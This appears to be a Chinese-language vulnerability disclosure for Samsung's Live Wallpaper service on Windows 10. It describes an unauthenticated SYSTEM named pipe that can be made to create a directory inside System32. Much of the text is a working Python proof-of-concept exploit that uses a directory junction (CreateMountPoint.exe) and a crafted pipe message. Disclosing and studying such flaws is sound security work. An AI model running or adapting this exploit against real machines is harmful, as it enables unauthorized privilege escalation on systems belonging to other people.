测试的 Windows 版本:Windows 10 20H2 (Build 19042.1348) 64位
Live Wallpaper 版本:3.0.9.0 或更早
三星笔记本电脑中默认运行的 LiveWallpaperService 存在一个漏洞,该漏洞在 SYSTEM 服务中以 SYSTEM 权限创建了一个目录。
Live Wallpaper 通常预装在三星笔记本电脑中,但也作为应用可从 Microsoft Store 获取。该应用以用户权限运行,并通过命名管道 IPC 在服务器和客户端之间通信。此时,PIPE 服务器以 SYSTEM 权限运行,且不检查客户端身份。
以下是相应应用启动时的操作过程: 服务器接收 unicode 字符串 '33;' 后,访问 'C:\Users{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8' 文件夹,并检查 LiveWallpaperData 目录是否存在。如果不存在,则在该目录下创建一个名为 'LiveWallpaperData' 的新文件系统目录。
命名管道用于进程间的相互通信。由于没有单独的客户端检查,攻击者可以直接打开管道并发送所需数据。
首先,在直接打开命名管道后,使用 james forshaw 开发的 symboliclink-testing-tools 创建一个指向 C:\Windows\System32 的目录联结。该目录以高权限创建为 System32 目录的子目录。
以下是该漏洞的 PoC。 执行 PoC 需要满足以下条件:
# python 3.7.2
import os
import shutil
import time
import getpass
def stringToWstring(st : str) -> str:
result = ''
for i in st:
result += i+'\x00'
return result
def main():
# current user name
username = getpass.getuser()
# path settings
path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
path2 = 'C:\\Windows\\System32'
# delete directory
if os.path.isdir(path1):
shutil.rmtree(path1)
# create directory junction
command = f'CreateMountPoint.exe "{path1}" "{path2}"'
os.system(command)
# write data to named pipe
with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
f.write(stringToWstring('33;'))
# IPC delay time
time.sleep(2)
# directory check
if os.path.isdir(path2+'\\LiveWallpaperData'):
print('[+] Success')
else:
print('[-] failed')
# delete directory junction
command = f'DeleteMountPoint.exe {path1}'
os.system(command)
shutil.rmtree(path1)
if __name__=='__main__':
main()